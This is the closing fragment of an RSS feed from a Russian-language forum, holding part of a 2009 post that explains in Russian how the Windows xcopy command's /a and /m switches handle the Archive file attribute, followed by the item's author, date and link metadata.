						&lt;p&gt;xcopy a: b: /a&lt;/p&gt;
						&lt;p&gt;Если требуется снять атрибут Архивный со скопированных файлов, воспользуетесь командой xcopy с параметром /m вместо /a. Например, введите следующую команду:&lt;/p&gt;
						&lt;p&gt;xcopy a: b: /m &lt;/p&gt;
						&lt;p&gt;Продолжение следует......&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 15:21:09 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=20#p20</guid>
		</item>
	</channel>
</rss>
